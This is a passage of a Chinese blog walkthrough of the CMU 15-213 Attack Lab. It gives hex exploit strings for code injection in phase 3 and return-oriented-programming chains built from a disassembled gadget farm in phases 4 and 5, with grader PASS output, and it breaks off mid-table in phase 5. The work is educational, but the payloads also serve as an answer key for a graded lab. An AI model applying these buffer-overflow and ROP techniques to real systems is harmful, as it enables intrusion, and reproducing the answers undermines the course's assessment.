dc 61 55    mov    $0x5561dca8,%rdi</span><br><span class="line">   7:   68 fa 18 40 00          push   $0x4018fa</span><br><span class="line">   c:   c3                      ret</span><br></pre></td></tr></table></figure><p>仿照 level2 构造缓冲区：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">// 调用 touch3</span><br><span class="line">48 c7 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3</span><br><span class="line"></span><br><span class="line">// 填充 40 - 13 = 27 字节</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00</span><br><span class="line"></span><br><span class="line">78 dc 61 55 00 00 00 00 // ret 指向机器码</span><br><span class="line"></span><br><span class="line">35 39 62 39 39 37 66 61 00 // 0x59b997fa 的 ASCII 表示，注意末尾的 \0</span><br></pre></td></tr></table></figure><p>删掉注释写入 <code>exploit.txt</code>，PASS!</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">❯ cat exploit.txt | ./hex2raw | ./ctarget -q</span><br><span class="line">Cookie: 0x59b997fa</span><br><span class="line">Type string:Touch3!: You called touch3(&quot;59b997fa&quot;)</span><br><span class="line">Valid solution for level 3 with target ctarget</span><br><span class="line">PASS: Would have posted the following:</span><br><span class="line">        user id bovik</span><br><span class="line">        course  15213-f15</span><br><span class="line">        lab     attacklab</span><br><span class="line">        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00 </span><br></pre></td></tr></table></figure><h2 id="phase4"><a class="markdownIt-Anchor" href="#phase4"></a> phase4</h2><p>phase4 要用 ROP 的方式完成 level2。</p><p><code>rtarget</code> 相比 <code>ctarget</code> 多了这些 <em>fram</em>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">0000000000401994 &lt;start_farm&gt;:</span><br><span class="line">  401994:b8 01 00 00 00       mov    $0x1,%eax</span><br><span class="line">  401999:c3                   ret</span><br><span class="line"></span><br><span class="line">000000000040199a &lt;getval_142&gt;:</span><br><span class="line">  40199a:b8 fb 78 90 90       mov    $0x909078fb,%eax</span><br><span class="line">  40199f:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019a0 &lt;addval_273&gt;:</span><br><span class="line">  4019a0:8d 87 48 89 c7 c3    lea    -0x3c3876b8(%rdi),%eax</span><br><span class="line">  4019a6:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019a7 &lt;addval_219&gt;:</span><br><span class="line">  4019a7:8d 87 51 73 58 90    lea    -0x6fa78caf(%rdi),%eax</span><br><span class="line">  4019ad:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019ae &lt;setval_237&gt;:</span><br><span class="line">  4019ae:c7 07 48 89 c7 c7    movl   $0xc7c78948,(%rdi)</span><br><span class="line">  4019b4:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019b5 &lt;setval_424&gt;:</span><br><span class="line">  4019b5:c7 07 54 c2 58 92    movl   $0x9258c254,(%rdi)</span><br><span class="line">  4019bb:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019bc &lt;setval_470&gt;:</span><br><span class="line">  4019bc:c7 07 63 48 8d c7    movl   $0xc78d4863,(%rdi)</span><br><span class="line">  4019c2:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019c3 &lt;setval_426&gt;:</span><br><span class="line">  4019c3:c7 07 48 89 c7 90    movl   $0x90c78948,(%rdi)</span><br><span class="line">  4019c9:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019ca &lt;getval_280&gt;:</span><br><span class="line">  4019ca:b8 29 58 90 c3       mov    $0xc3905829,%eax</span><br><span class="line">  4019cf:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019d0 &lt;mid_farm&gt;:</span><br><span class="line">  4019d0:b8 01 00 00 00       mov    $0x1,%eax</span><br><span class="line">  4019d5:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019d6 &lt;add_xy&gt;:</span><br><span class="line">  4019d6:48 8d 04 37          lea    (%rdi,%rsi,1),%rax</span><br><span class="line">  4019da:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019db &lt;getval_481&gt;:</span><br><span class="line">  4019db:b8 5c 89 c2 90       mov    $0x90c2895c,%eax</span><br><span class="line">  4019e0:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019e1 &lt;setval_296&gt;:</span><br><span class="line">  4019e1:c7 07 99 d1 90 90    movl   $0x9090d199,(%rdi)</span><br><span class="line">  4019e7:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019e8 &lt;addval_113&gt;:</span><br><span class="line">  4019e8:8d 87 89 ce 78 c9    lea    -0x36873177(%rdi),%eax</span><br><span class="line">  4019ee:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019ef &lt;addval_490&gt;:</span><br><span class="line">  4019ef:8d 87 8d d1 20 db    lea    -0x24df2e73(%rdi),%eax</span><br><span class="line">  4019f5:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019f6 &lt;getval_226&gt;:</span><br><span class="line">  4019f6:b8 89 d1 48 c0       mov    $0xc048d189,%eax</span><br><span class="line">  4019fb:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019fc &lt;setval_384&gt;:</span><br><span class="line">  4019fc:c7 07 81 d1 84 c0    movl   $0xc084d181,(%rdi)</span><br><span class="line">  401a02:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a03 &lt;addval_190&gt;:</span><br><span class="line">  401a03:8d 87 41 48 89 e0    lea    -0x1f76b7bf(%rdi),%eax</span><br><span class="line">  401a09:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a0a &lt;setval_276&gt;:</span><br><span class="line">  401a0a:c7 07 88 c2 08 c9    movl   $0xc908c288,(%rdi)</span><br><span class="line">  401a10:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a11 &lt;addval_436&gt;:</span><br><span class="line">  401a11:8d 87 89 ce 90 90    lea    -0x6f6f3177(%rdi),%eax</span><br><span class="line">  401a17:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a18 &lt;getval_345&gt;:</span><br><span class="line">  401a18:b8 48 89 e0 c1       mov    $0xc1e08948,%eax</span><br><span class="line">  401a1d:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a1e &lt;addval_479&gt;:</span><br><span class="line">  401a1e:8d 87 89 c2 00 c9    lea    -0x36ff3d77(%rdi),%eax</span><br><span class="line">  401a24:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a25 &lt;addval_187&gt;:</span><br><span class="line">  401a25:8d 87 89 ce 38 c0    lea    -0x3fc73177(%rdi),%eax</span><br><span class="line">  401a2b:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a2c &lt;setval_248&gt;:</span><br><span class="line">  401a2c:c7 07 81 ce 08 db    movl   $0xdb08ce81,(%rdi)</span><br><span class="line">  401a32:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a33 &lt;getval_159&gt;:</span><br><span class="line">  401a33:b8 89 d1 38 c9       mov    $0xc938d189,%eax</span><br><span class="line">  401a38:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a39 &lt;addval_110&gt;:</span><br><span class="line">  401a39:8d 87 c8 89 e0 c3    lea    -0x3c1f7638(%rdi),%eax</span><br><span class="line">  401a3f:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a40 &lt;addval_487&gt;:</span><br><span class="line">  401a40:8d 87 89 c2 84 c0    lea    -0x3f7b3d77(%rdi),%eax</span><br><span class="line">  401a46:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a47 &lt;addval_201&gt;:</span><br><span class="line">  401a47:8d 87 48 89 e0 c7    lea    -0x381f76b8(%rdi),%eax</span><br><span class="line">  401a4d:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a4e &lt;getval_272&gt;:</span><br><span class="line">  401a4e:b8 99 d1 08 d2       mov    $0xd208d199,%eax</span><br><span class="line">  401a53:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a54 &lt;getval_155&gt;:</span><br><span class="line">  401a54:b8 89 c2 c4 c9       mov    $0xc9c4c289,%eax</span><br><span class="line">  401a59:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a5a &lt;setval_299&gt;:</span><br><span class="line">  401a5a:c7 07 48 89 e0 91    movl   $0x91e08948,(%rdi)</span><br><span class="line">  401a60:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a61 &lt;addval_404&gt;:</span><br><span class="line">  401a61:8d 87 89 ce 92 c3    lea    -0x3c6d3177(%rdi),%eax</span><br><span class="line">  401a67:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a68 &lt;getval_311&gt;:</span><br><span class="line">  401a68:b8 89 d1 08 db       mov    $0xdb08d189,%eax</span><br><span class="line">  401a6d:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a6e &lt;setval_167&gt;:</span><br><span class="line">  401a6e:c7 07 89 d1 91 c3    movl   $0xc391d189,(%rdi)</span><br><span class="line">  401a74:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a75 &lt;setval_328&gt;:</span><br><span class="line">  401a75:c7 07 81 c2 38 d2    movl   $0xd238c281,(%rdi)</span><br><span class="line">  401a7b:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a7c &lt;setval_450&gt;:</span><br><span class="line">  401a7c:c7 07 09 ce 08 c9    movl   $0xc908ce09,(%rdi)</span><br><span class="line">  401a82:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a83 &lt;addval_358&gt;:</span><br><span class="line">  401a83:8d 87 08 89 e0 90    lea    -0x6f1f76f8(%rdi),%eax</span><br><span class="line">  401a89:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a8a &lt;addval_124&gt;:</span><br><span class="line">  401a8a:8d 87 89 c2 c7 3c    lea    0x3cc7c289(%rdi),%eax</span><br><span class="line">  401a90:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a91 &lt;getval_169&gt;:</span><br><span class="line">  401a91:b8 88 ce 20 c0       mov    $0xc020ce88,%eax</span><br><span class="line">  401a96:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a97 &lt;setval_181&gt;:</span><br><span class="line">  401a97:c7 07 48 89 e0 c2    movl   $0xc2e08948,(%rdi)</span><br><span class="line">  401a9d:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401a9e &lt;addval_184&gt;:</span><br><span class="line">  401a9e:8d 87 89 c2 60 d2    lea    -0x2d9f3d77(%rdi),%eax</span><br><span class="line">  401aa4:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401aa5 &lt;getval_472&gt;:</span><br><span class="line">  401aa5:b8 8d ce 20 d2       mov    $0xd220ce8d,%eax</span><br><span class="line">  401aaa:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401aab &lt;setval_350&gt;:</span><br><span class="line">  401aab:c7 07 48 89 e0 90    movl   $0x90e08948,(%rdi)</span><br><span class="line">  401ab1:c3                   ret</span><br><span class="line"></span><br><span class="line">0000000000401ab2 &lt;end_farm&gt;:</span><br><span class="line">  401ab2:b8 01 00 00 00       mov    $0x1,%eax</span><br><span class="line">  401ab7:c3                   ret</span><br><span class="line">  401ab8:90                   nop</span><br><span class="line">  401ab9:90                   nop</span><br><span class="line">  401aba:90                   nop</span><br><span class="line">  401abb:90                   nop</span><br><span class="line">  401abc:90                   nop</span><br><span class="line">  401abd:90                   nop</span><br><span class="line">  401abe:90                   nop</span><br><span class="line">  401abf:90                   nop</span><br></pre></td></tr></table></figure><p>一开始想直接 <code>push %rdi; ret</code> 跳转到 <code>touch2</code>，但是 <code>fram</code> 里没有 <code>5f c3</code>，只能 <code>push %rax; ret</code>，然后 <code>movq %rax, %rdi; ret</code>，所以需要两个 gadget。</p><blockquote><p><code>90</code> 是 <code>nop</code> 指令，可以用来填充。</p></blockquote><p><code>push %rdi; ret</code> 是 <code>58 c3</code>，<code>movq %rax, %rdi; ret</code> 是 <code>48 89 c7 c3</code>。</p><p>找到：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">00000000004019a7 &lt;addval_219&gt;:</span><br><span class="line">  4019a7:8d 87 51 73 58 90    lea    -0x6fa78caf(%rdi),%eax</span><br><span class="line">  4019ad:c3                   ret</span><br><span class="line"></span><br><span class="line">00000000004019c3 &lt;setval_426&gt;:</span><br><span class="line">  4019c3:c7 07 48 89 c7 90    movl   $0x90c78948,(%rdi)</span><br><span class="line">  4019c9:c3                   ret</span><br></pre></td></tr></table></figure><p>所以答案是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 // padding</span><br><span class="line"></span><br><span class="line">ab 19 40 00 00 00 00 00 // push %rdi; ret</span><br><span class="line"></span><br><span class="line">fa 97 b9 59 00 00 00 00 // 0x59b997fa 的 ASCII 表示，注意末尾的 \0</span><br><span class="line"></span><br><span class="line">c5 19 40 00 00 00 00 00 // movq %rax, %rdi; ret</span><br><span class="line"></span><br><span class="line">ec 17 40 00 00 00 00 00 // touch2 的入口地址</span><br></pre></td></tr></table></figure><p>注意，写进栈里面应该是这样的（按照箭头的顺序从低地址向高地址执行）：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ec 17 40 00 00 00 00 00 / \</span><br><span class="line">c5 19 40 00 00 00 00 00  |</span><br><span class="line">fa 97 b9 59 00 00 00 00  |</span><br><span class="line">ab 19 40 00 00 00 00 00  |</span><br><span class="line">padding                  |</span><br></pre></td></tr></table></figure><p>我觉得很容易混淆，要注意在 <code>getbuf</code> <code>ret</code> 之前，0x28 缓冲区就已经被释放了，栈顶在 <code>ab 19 40 00 00 00 00 00 // push %rdi; ret</code> 这一行，<code>ret</code> 的时候又弹出该行，来到 <code>fa 97 b9 59 00 00 00 00 // 0x59b997fa 的 ASCII 表示</code>，然后 <code>push %rdi; ret</code> 将 <code>0x59b997fa</code> 压入栈顶，接着 <code>movq %rax, %rdi; ret</code> 将 <code>0x59b997fa</code> 传入 <code>touch2</code>，最后跳转到 <code>touch2</code> 的入口地址。</p><p>PASS!</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">❯ cat exploit.txt| ./hex2raw|  ./rtarget -q</span><br><span class="line">Cookie: 0x59b997fa</span><br><span class="line">Type string:Touch2!: You called touch2(0x59b997fa)</span><br><span class="line">Valid solution for level 2 with target rtarget</span><br><span class="line">PASS: Would have posted the following:</span><br><span class="line">        user id bovik</span><br><span class="line">        course  15213-f15</span><br><span class="line">        lab     attacklab</span><br><span class="line">        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 </span><br></pre></td></tr></table></figure><h2 id="phase5"><a class="markdownIt-Anchor" href="#phase5"></a> phase5</h2><p>和 phase3 一样要传入 cookie，调用 <code>touch3</code>，但是要用 ROP 的方式。</p><p>先转为 ASCII <code>0x45374fee</code> -&gt; <code>34 35 33 37 34 66 65 65</code></p><p><code>lea    (%rdi,%rsi,1),%rax</code> -&gt; <code>48 8d 04 37 c3</code>，<code>%rax = %rdi + %rsi</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019d6 &lt;add_xy&gt;:</span><br><span class="line">  4019d6:48 8d 04 37          lea    (%rdi,%rsi,1),%rax</span><br><span class="line">  4019da:c3                   ret</span><br></pre></td></tr></table></figure><p><code>popq %rax; ret</code> -&gt; <code>58 c3</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00000000004019ca &lt;getval_280&gt;:</span><br><span class="line">  4019ca:b8 29 58 90 c3       mov    $0xc3905829,%eax</span><br><span class="line">  4019cf:c3                   ret</span><br></pre></td></tr></table></figure><p>首先我们需要得到 cookie 的位置：<code>cookie_addr = %rsp + offset</code>，这个要利用 <code>lea    (%rdi,%rsi,1),%rax</code>，所以需要先将 <code>%rsp</code> 和 <code>offset</code> 分别传入 <code>%rdi</code> 和 <code>%rsi</code>。</p><hr /><p>要将 <code>%rsp</code> 传入 <code>%rdi</code>，试着查找以下的 <code>movq S, D</code> 指令：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.16em" columnalign="left left left left left left left left left" columnlines="solid none none none none none none none" columnspacing="1em" rowlines="solid solid none none none none none none none"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>Source </mtext><mi>S</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mtext>Dest. </mtext><mi>D</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>a</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>c</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>d</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>b</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>p</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>b</mi><mi>p</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>s</mi><mi>i</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>d</mi><mi>i</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>a</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mn>3</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mn>4</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mn>5</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mn>6</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mn>7</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>c</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mn>8</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mn>9</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mi>a</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mi>b</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mi>c</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mi>d</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mi>e</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>c</mi><mi>f</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi mathvariant="normal">%</mi><mi>r</mi><mi>d</mi><mi>x</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mn>0</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mn>1</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mn>2</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mn>3</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mn>4</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> </mtext><mi>d</mi><mn>5</mn></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mn>48</mn><mtext> </mtext><mn>89</mn><mtext> 